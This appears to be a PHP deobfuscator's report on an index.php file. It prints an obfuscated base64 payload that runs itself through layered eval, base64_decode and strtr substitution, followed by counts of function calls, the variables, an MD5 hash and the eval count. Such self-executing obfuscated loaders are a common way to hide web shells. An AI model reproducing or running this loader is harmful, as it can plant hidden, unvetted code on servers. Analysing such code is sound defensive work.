a2theTV4YlRVaEpHczFlVnNuU3pWNFh5NXhiVFVuWFRzTkNna0pOR1lnS0NScmJqRnROU0E5UFNBaVVGSkpUVUZTV1NJZ0ppWWdKR3MxZVZzblRqSnVYek51TkhFek5TZGRJRDBoSURBcElIc05DZ2tKQ1NScmJqRnROVDBpVlU0SlVWVkZmQ1JyYmpGdE5TSTdEUW9KQ1gwTkNna0pOR1lvSVRSelh6RjI2akY0S0NRMGJtUTFlRnNrYXk1eGJUVmRLU2tnZXcwS0NRa0pKRFJ1WkRWNVcyUnJiakZ0TlYwZ1BTQXg2bkl4ZVNncE93MEtDUWxoRFFvSkNTUTBibVExZUZza2F5NXhiVFZkVzEwZ1BTQWthelY0VzJkRE1td3piVzRmYmpGdE5TZGRPdzBLQ1gwTkNnbG02aWdrYXpWNDYyazdEUW9OQ2dsOGFEUnNOUzlzTkhOMEtDUnJiakZ0TlN3Z0pHTTJiRE50Ym5NcElEMGdRRFV4WXlnb0pEUnVaRFY1S1NrZ2V3MEtDUWtrZERGaWJEVmtNeTF3SUM1aElDSXNYRzVpT3cwS0NRa2tZekpzYmpGdE5YTWhORzF3YkRKa05TZ2tZekpzTXkxdTYyd2lMQ0lwT3cwS0RRb0pDVFJtSUNna2F5NXhiVFVnUFQwZ0lsQlNTVTFCVWxraUtTQjdEUW9KQ1Fra2RERmliRFZrTXkxd0lDNWhJQ0lnSUNCUVVrbE5RVkpaSUV0RldTQW9KR00yYkc1eGJUVnpLU0k3RFFvSkNYMGdOV3h6TlNCN0RRb0pDUWswWmlBbzZ6Tmk2OFIyS0NScmJqRnROU3d3TEdVcElEMGhJQ0pWVGtsUlZVVWlLU0I3RFFvSkNRa0pKR3R1TVcwMVBYTXpZbk4wNmlna2F5NXhiVFVzTjJrN0RRb0pDUWxoRFFvSkNRa2tkREZpYkRWa015MXdJQzVoSUNJZ0lDQkxSVmtnSkd0dU1XMDFJQ2drWXpKc2JqRnROWE1wSWpzTkNna0pmUTBLQ1gwTkNnMEtDU1IwTVdKc05XUXpiWEFnTGowZ0lseHVLVHQ2Ymx4dUlqc05DZ2swWmlBb0pHWndLU0I3RFFvSkNXWjg2alIwTlNna1puQXNKSFF4WW13MVpETnQ2Q2s3RFFvSmZTQTFiSE0xSUhzTkNna0pOV05vTWlBa2RERmliRFZrTXkxd093MEtDWDBOQ2cwS0NTUjJNbmR6SUQwZzZTZ2lVMFZNUlVOVUlDb2dSbEpQVFNBa2RERmliRFVpS1RzTkNna2tiak50WmpRMWJHUnpJRDBnYlhsejZXeGZiak50WHlZME5XeGs2MmdrNmpKODYyazdEUW9KZHlnMGJEVWdLQ1IyTW42Z1BTQnRlWE54YkZobU5YUmphRjN4Nm5JeGVTZ2s2ako4NjJrcElIc05DZ2tKSkhReFltdzFaRE50NkNBaElDSkpUbE5GVWxRZ1NVNFVUMkFrZERGaWJEVWdWa0ZNVlVWVEtDSTdEUW9OQ2drSkpHWTBOV3hrWXpJemJuUTE2ajB0TmpzTkNna0pKR1kwNm5OMFpqUTFiR1FoTmpzTkNna0pkeWcwYkRVZ0tDc3JKR1kwTld4a1l6SXpiblExNmp3a2JqTnRaalExYkdSektTQjdEUW9KQ1FrMFppQW9JU1JtTkhKemRHWTBOV3hrS1NCN0RRb0pDUWtKSkhReFltdzFaRE50NkM1aElpd2dJanNOQ2drSkNYMGdOV3h6TlNCN0RRb0pDUWtKSkdZMDZuTjBaalExYkdRaE1Ec05DZ2tKQ1gwTkNnMEtDUWtKTkdZZ0tDRTA2OE0xZENnazZqSjhXMlJtTkRWc1pHTTJNeTQwTlhKZEtTa2dldzBLQ1FrSkNTUjBNV0pzTldRemJYQWdMajBnSWs0VlRFd2lPdzBLQ1FrSmZTQTFiSE0xSUhzTkNna0pDUWtrZERGaWJEVmtNeTF3SUM1aElDSW5JaTR0ZVhOeGJGMzE2eU14NkRWZjY4UjJORzRuS0NSMk1uZGJKR1kwTld4a1l6SXpiblExNmwwcExpSW5JanNOQ2drSkNYME5DZ2tKZlEwS0RRb0pDU1IwTVdKc05XUXpiWEFnTGowZ0lpazdYRzVpT3cwS0RRb0pDVFJtSUNna1puQXBJSHNOQ2drSkNXWjg2alIwTlNna1puQXNKSFF4WW13MVpETnQ2Q2s3RFFvSkNYMGdOV3h6TlNCN0RRb0pDUWsxWXlnMklDUjBNV0pzTldRemJYQTdEUW9KQ1gwTkNnbGhEUW9KWm5Jb0pISTJkOE1wT3cwS0NUUm1JQ2drWm5BcElIc05DZ2tKWm5kMk5IUTFLQ1JtNkN3aVhHNWlLVHNOQ2dsaElEVnM2elVnZXcwS0NRazFZeWcySUNKNmJpSTdEUW9KZlEwS2ZRMEtEUXBtTXk0amREUTJiaUF6TlNnazY4UjJLWHNOQ2dsMk5YUXo2bTVnTThKc05XNGpNbVExS0NSemRISXBPdzBLZlEwS0RRcG1NeTRqZERRMmJpQndLQ1J6ZEhJcGV3MEtDVFZqYURJZ0pITjA2aTVpWEc1aU93MEtmUTBLRFFwbU15NGpkRFEyYmlCMFltZzFNV1FvS1NCN0RRb0o2Q2duUEhReFltdzFJSDYwWkhSb1BTSXlNREFsSWlCaU1uSmtOWEloSWpBaUlHTTFiR3h3TVdSa05HNG5QU0oxSWlCak5XeHM2OEF4WXpSdVp6MGlNQ0krSjJrN0RRcGhEUXBtTXk0amREUTJiaUIwWW1ZMk1uUW9LWHNOQ2dsd0tDNjNMOFF4WW13MVBpNnBPdzBLZlEwS0RRcG1NeTRqZERRMmJpQnRNV3MxYURSa05TZ2tiakZ0TlN3a2RqRnNNelVoSjI2cGV3MEtDWEFvSWp3MGJuQXpkQ0EwWkQxNklpUnVNVzAxWENJZ2RIbHdOVDE2SW1nMFpHUTFibHdpSUc1eGJUVWhYQ0lrYmpGdE5Wd2lJSFl4YkRNMVBWd2lKSFl4YkRNMVhDSWdMejVpS1RzTkNuME5DZzBLWmpOdVk4UTBNbTVnYlRGck5UUnU2RE4wS0NReDZtNmdQU0F4Nm5JeGVTZ3BLWHNOQ2dra01YSm5XMmR6TkhvMUoxMGdQU0FrTVhKblcyZHpOSG8xSjEwZ1BpQXdJRDNnSW5NMGVqVWhYQ0lrTVhKblc4TTBlalZkWENJaUlEb2dJbk0wZWpVaFhDSXlNREI2SWlJN0RRb0pKREYyWjFzbk5YOTA2akVuWFNBaElDUXg2bWRiSnpWNWRISXhKMTBnUDJBa01YSm5XMjYxZUhSMk1TZGRJRG9nSjI2N0RRb0pJU1F4Nm1kYko4UjQ2RFVuWFNBbUppQWtNWEpuVzJkMGVYQTFKMTBnUFNBbmREVjVkQzY3RFFvSkpERjJaMXNuZERSMGJEVW5YU0FoSUNReDZtZGJKOFEwZEd3MUoxMGdQMkFrTVhKblcyZDBOSFJzTlNkZExpNjNZbklnTHo1bklEb2dKMjY3RFFvSkpERjJaMXNuWXl3eDY4TW5YU0FoSUNReDZtZGJKeU5zTVhOekoxMGdQMkFrTVhKblcyZGpiREZ6NjJkZElEb2dKelJ1NkROMEp6c05DZ2swWmlBb0pERjJaMXNuYmpWOGJEUnVOU2RkS1NCN0RRb0pDWEFvSWp4d1BpUXg2bWRiZERSMGJEVmRQRFJ1NkROMElHTnNNWE56UFZ3aUpERjJaMXRqYkRGejYxMTZJaUJ1TVcwMVBWd2lKREYyWjF0dU1XMDFYVndpSURSa1BWd2lKREYyWjF0dU1XMDFYVndpSUhZeGJETTFQVndpSkRGMloxdHlNV3d6TlYxNklpQjBlWEExUFZ3aUpERjJaMXQwZVhBMVhWd2lJQ1F4Nm1kYjZ6UmNOVjBnSkRGMloxczFlSFIyTVYwZ0x6NTNMOEErSWlrN0RRb0pmU0ExYkhNMUlIc05DZ2tKNkNnaUpERjJaMXQwTkhSc05WMDNORzR3TThRZ1l5d3g2OE1oWENJa01YSm5XeU5zTVhOelhWd2lJRzV4YlRVaFhDSWtNWEpuV3k1eGJUVmRYQ0lnTkdRaFhDSWtNWEpuV3k1eGJUVmRYQ0lnZGpGc016VWhYQ0lrTVhKblc4WXhiRE0xWFZ3aUlIUjQ2RFVoWENJa01YSm5XOFI0NkRWZFhDSWdKREYyWjF0ek5IbzFYU0FrTVhKbld6VjVkSEl4WFNBdlBpSXBPdzBLQ1gwTkNuME5DZzBLWmpOdVk4UTBNbTVnYlRGck5YTTFiRFZqZENna01YSm5JRDBnTVhKMk1Ya29LU2w3RFFvSk5HWWdLQ1F4Nm1kYkp6SnVZeWd4Ym02MUoxMHBJSHNOQ2drSkpESnVZeWd4Ym02MUlEMGdKekp1WXlneGJtNjFQU0luTGlReDZtZGJKekp1WXlneGJtNjFKMTB1SjJJbk93MEtDWDBOQ2dra01YSm5XMmQwTkhSc05TZGRJRDBnSkRGMloxc25kRFIwYkRVblhTQS9JQ1F4Nm1kYko4UTBkR3cxSjEwZ09pQW5KenNOQ2drMFppQW9KREYyWjFzbmJqVjhiRFJ1TlNkZEtTQndLQzYzNkQ1bktUc05DZ2x3S0NJa01YSm5XOFEwZEd3MVhTQTM2elZzTldOMElHTnNNWE56UFZ3aU5HNHdNOFI2SWlBMFpEMTZJaVF4Nm1kYmJqRnROVjE2SWlCdU1XMDFQVndpSkRGMloxdHVNVzAxWFZ3aUlDUTJibU5vTVc0bk5UNWlLVHNOQ2drSk5HWWdLRFJ6WHpGMjZqRjRLQ1F4Nm1kYkp6SndkRFEyYmlkZEtTa2dldzBLQ1FrSlpqSjJOVEZqYUNBb0pERjJaMXNuTW5CME5ESnVKMTBnTVhNZ0pHczFlVDArSkhZeGJETTFLU0I3RFFvSkNRa0pOR1lnS0NReDZtZGJKOE0xYkRWamREVmtKMTBoUFNSck5Ya3BJSHNOQ2drSkNRa0o2Q2dpUERKd2REUTJiaUJ5TVd3ek5UMTZJaVJyTlhsNklpQnpOV3cxWThRMVpENWtkakZzTXpVM0x6SndkRFEyYmo1aUtUc05DZ2tKQ1FsaElEVnM2elVnZXcwS0NRa0pDUWx3S0NJM01uQjBOREp1SUhZeGJETTFQVndpSkdzMWVWd2lQaVJ5TVd3ek5Ud3ZNbkIwTkRKdVBpSXBPdzBLQ1FrSkNYME5DZ2tKQ1gwTkNna0pmUTBLQ1hBb0lqd3Y2elZzTldOMFBpSXBPdzBLQ1RSbUlDZ2tNWEpuVzJkdU5YZHNORzUxSjEwcElIQW9Kend2NkQ1bktUc05DbjBOQ21ZemJtTjBOREp1SUdZMjZtMW9OVEZrS0NReDZtNmdQU0F4Nm5JeGVTZ3BLU0I3RFFvSklTUXg2bWRiSnkwMWRHZzJaQ2RkSUNZbUlDUXg2bWRiSnkwMWRHZzJaQ2RkSUQwZ0o4QTI2OFFuT3cwS0NTRWtNWEpuVzI2eFk4UTBNbTVuWFNBbUppQWtNWEpuVzI2eFk4UTBNbTVuWFNBaElDUnpOV3htT3cwS0NTUXg2bWRiSjhReDZtNjFkQ2RkSUQwZ0pERjJaMXNuZERGMlp6VjBKMTBnUDJBaWRERjJaelYwUFZ3aUpERjJaMXQwTVhKbk5YUmRYQ0lpSURvZ0oyNjdEUW9KSVNReDZtZGJKeTV4YlRVblhTQW1KaUFrTVhKblcyZHVNVzAxSjEwZ1BTQW5aakoyYlRZbk93MEtDWEFvSWp4bU1uSnRJRzV4YlRVaFhDSWtNWEpuV3k1eGJUVmRYQ0lnTkdRaFhDSWtNWEpuV3k1eGJUVmRYQ0lnTVdOME5ESnVQVndpSkRGMloxc3hZOFEwTW00ZFhDSWdiVFYwYURKa1BWd2lKREYyWjF0dE5YUm9NbVJkWENJZ0pERjJaMXQwTVhKbk5YUmRQaUlwT3cwS0NUUm1JQ2drTVhKblcyZDBOSFJzTlNkZEtTQjdEUW9KQ1hBb0p6eG9ZVDVuTGlReDZtZGJKOFEwZEd3MUoxMHVKMkFtNmpGeE16STdQQ2hvWVQ1bktUc05DZ2xoRFFwaERRb0pEUXBtTXk0amREUTJiaUJ0TVdzMWREVjVkQ2drTVhKbklEMGdNWEoyTVhrb0tTbDdEUW9KSVNReDZtZGJKeU0yYkhNblhTQW1KaUFrTVhKblcyZGpNbXh6SjEwZ1BTQXlNREE3RFFvSklTUXg2bWRiSjhJMmQ4TW5YU0FtSmlBa01YSm5XMmQyTW5kekoxMGdQU0I5YVRzTkNna2tNWEpuVzJkME5IUnNOU2RkSUQwZ0pERjJaMXNuZERSMGJEVW5YU0EvSUNReDZtZGJKOFEwZEd3MUoxMHVKenhpNmlBdlBpNmdPaUFuSnpzTkNnbHdLQ0kzNkQ1a01YSm5XOFEwZEd3MVhUeDBOWDkwTVhJMU1TQmpiREZ6NnoxNklqRjJOVEY2SWlBMFpEMTZJaVF4Nm1kYmJqRnROVjE2SWlCdU1XMDFQVndpSkRGMloxdHVNVzAxWFZ3aUlHTTJiSE1oWENJa01YSm5XeU0yYkhOZFhDSWc2ako4NnoxNklpUXg2bWRiNmpKODYxMTZJaUFrTVhKbld6VjVkSEl4WFQ1a01YSm5XOFl4YkRNMVhUd3ZkRFY1ZERGMk5URStQQ2h3UGlJcE93MEtmUTBLRFFwbU15NGpkRFEyYmlCbU1uSnRaakkyZERWMktDUnVNVzAxSUQwZ0oyNnBldzBLQ1NFa2JqRnROU0FtSmlBa2JqRnROU0FoSUNkek15SnROSFFuT3cwS0NYQW9Kenh3UGp3MGJuQXpkQ0JqYkRGejZ6MGlZblFpSUc1eGJUVWhJaTZ1Skc1eGJUVXVKMklnTkdRaFhDSW5MaVJ1TVcwMUxpZDZJaUIwZVhBMVBTSnpNeUp0TkhRaUlIWXhiRE0xUFNKVE15SnROSFFpUGp3djZENW5LVHNOQ2dsd0tDNjNMeVkyNm0wK0oyazdEUXBoRFFvTkNtWXpibU4wTkRKdUlHWTI2bTFtTWpKMEtDbDdEUW9KNkNnblBDaG1Nbkp0UGk2cE93MEtmUTBLRFFvdkwyQW1JeWhwT0hWdk8yWWpieWs4T1Q2N0ppTjlNRGs1T1RzbUl5RnBPV1U1T3cwS1pqTnVZOFEwTW01ZzZISW9KREVwSUhzTkNnazFZeWcySUM2MzZISTFQaTY3RFFvSjZISTBiblJmNmlna01TazdEUW9KTldOb01pQW5QQ2h3NmpVK0p6c05DbjBOQ2cwS1B6NT0nO2V2YWwoYmFzZWM1X2RlNm9kZSgnSkZoWVBXSjk2eVV5TkZoa1pXTnZaR1VvSkZoWUtUc2tYMWdoNjhSMmRISW9KRmhZTEM2eE1qTTBOVFo5YjhWcFpTNnNKeUZ2ZFdsbE1USXpORFV5SjJrN0pGaFNQV1YyWldkZjZtVndiR0ZqWlNnblgxaEdTVXhGWDEzbkxDSW5JaTVrWDBZdUlpNmlMQ1JmV0NrN1pYWjliQ2drWDFJcE8yUmZVajB3TzJSZldEMHdPdz09JykpOz8+";eval(base64_decode("JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCc5ODY1MjF5NGMzaCcsJ2gzYzR5MTI1Njg5Jyk7JF9SPUBlcmVnX3JlcGxhY2UoJ19fRklMRV9fJywiJyIuJF9GLiInIiwkX1gpO2V2YWwoJF9SKTskX1I9MDskX1g9MDs="));

Function Calls

strtr 2
ereg_replace 2
base64_decode 4
error_reporting 1

Variables

$_F index.php
$_R 0
$_X 0

Stats

MD5 d65a2758b0eba62984c76be45f8a40e6
Eval Count 4
Decode Time 294 ms